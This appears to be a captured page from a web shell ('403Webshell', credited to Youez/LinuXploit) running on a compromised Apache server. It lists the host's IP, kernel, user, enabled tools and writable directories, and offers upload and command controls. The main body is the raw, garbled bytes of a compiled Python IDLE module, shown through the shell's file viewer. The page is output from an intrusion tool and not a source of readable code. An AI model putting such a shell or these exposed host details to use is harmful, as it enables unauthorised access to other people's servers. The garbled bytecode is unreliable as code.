403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/idlelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/idlelib/macosxSupport.pyo
Ñò
ÉÉŽJc@sOdZddkZddkZd„Zd„Zd„Zd„Zd„ZdS(s
A number of function that enhance IDLE on MacOSX when it used as a normal
GUI application (as opposed to an X11 application).
iÿÿÿÿNcCstidjo
dtijS(s›
    Returns True if Python is running from within an app on OSX.
    If so, assume that Python was built with Aqua Tcl/Tk rather than
    X11 Tck/Tk.
    tdarwins.app(tsystplatformt
executable(((s+/usr/lib/python2.6/idlelib/macosxSupport.pytrunningAsOSXAppscs#‡fd†}|id|ƒdS(s£
    This ensures that the application will respont to open AppleEvents, which
    makes is feaseable to use IDLE as the default application for python files.
    cs"x|D]}ˆi|ƒqWdS(N(topen(targstfn(tflist(s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
doOpenFiless::tk::mac::OpenDocumentN(t
createcommand(trootRR	((Rs+/usr/lib/python2.6/idlelib/macosxSupport.pytaddOpenEventSupportscCs4y|iiddƒWntij
onXdS(Ntconsolethide(ttktcalltTkintertTclError(R((s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
hideTkConsolescsƒddkl}l}l}ddkl}l}ddk}ddk‰ddkl	}|ˆƒ}ˆi
d|ƒh}	||ddƒ|	d<}
|id	d
d|
ddƒ|
‡fd
†}ˆi|ƒ||ddƒ|	d<}
|id	dd|
ƒd‡fd†}d‡fd†}
ˆid|ƒˆid|
ƒ|oˆid|iƒnˆiidƒ}tt|idƒƒd jo-dd!dgf|id<ˆid|
ƒn¿x»|iD]°\}}|	i|ƒ}
|
pqËqËx„|D]|}|p|
iƒqû|\}}||ƒ\}}||i|ƒ}ˆ|d„}|
id	|d|d|d|ƒqûWqËWdS("sU
    Replace the Tk root menu by something that's more appropriate for
    IDLE.
    iÿÿÿÿ(tMenutTextR(tprepstrtget_acceleratorN(tMultiCallCreatortmenutnametwindowstlabeltWindowt	underlineicsX|idƒ}|djo
d}n|djo|id|ƒnˆi|ƒdS(Ntendiÿÿÿÿi(tindextNonetdeletetadd_windows_to_menu(RR(t
WindowList(s+/usr/lib/python2.6/idlelib/macosxSupport.pytpostwindowsmenuBs


tappletapplicationtIDLEcs ddk}|iˆdƒdS(Niÿÿÿÿs
About IDLE(taboutDialogtAboutDialog(teventR)(R(s+/usr/lib/python2.6/idlelib/macosxSupport.pytabout_dialogOscs ddk}|iˆdƒdS(NiÿÿÿÿtSettings(tconfigDialogtConfigDialog(R+R.(R(s+/usr/lib/python2.6/idlelib/macosxSupport.pyt
config_dialogSss<<about-idle>>s<<open-config-dialog>>s<<close-all-windows>>sinfo patchlevelt.iiis
About IDLEs::tk::mac::ShowPreferencescSs|i|ƒdS(N(tevent_generate(ttextt	eventname((s+/usr/lib/python2.6/idlelib/macosxSupport.pytcommandvsR5taccelerator(iii(s
About IDLEs<<about-idle>>(RRRtEditorWindowRRtBindingsR$t	MultiCallRt	configuretadd_cascadetregister_callbackR!tbindtclose_all_callbackRtevaltmaptinttsplittmenudefsR
tgett
add_separatortdefault_keydefstadd_command(RRRRRRR8RtmenubartmenudictRR%R,R0t	tkversiontmnamet	entrylisttentryRR4RR6R5((R$Rs+/usr/lib/python2.6/idlelib/macosxSupport.pytoverrideRootMenu%sT

		cCs7tƒpdSt|ƒt||ƒt||ƒdS(s7
    Perform setup for the OSX application bundle.
    N(RRRNR(RR((s+/usr/lib/python2.6/idlelib/macosxSupport.pytsetupApp{s



(t__doc__RRRRRRNRO(((s+/usr/lib/python2.6/idlelib/macosxSupport.pyt<module>s				V

Youez - 2016 - github.com/yon3zu
LinuXploit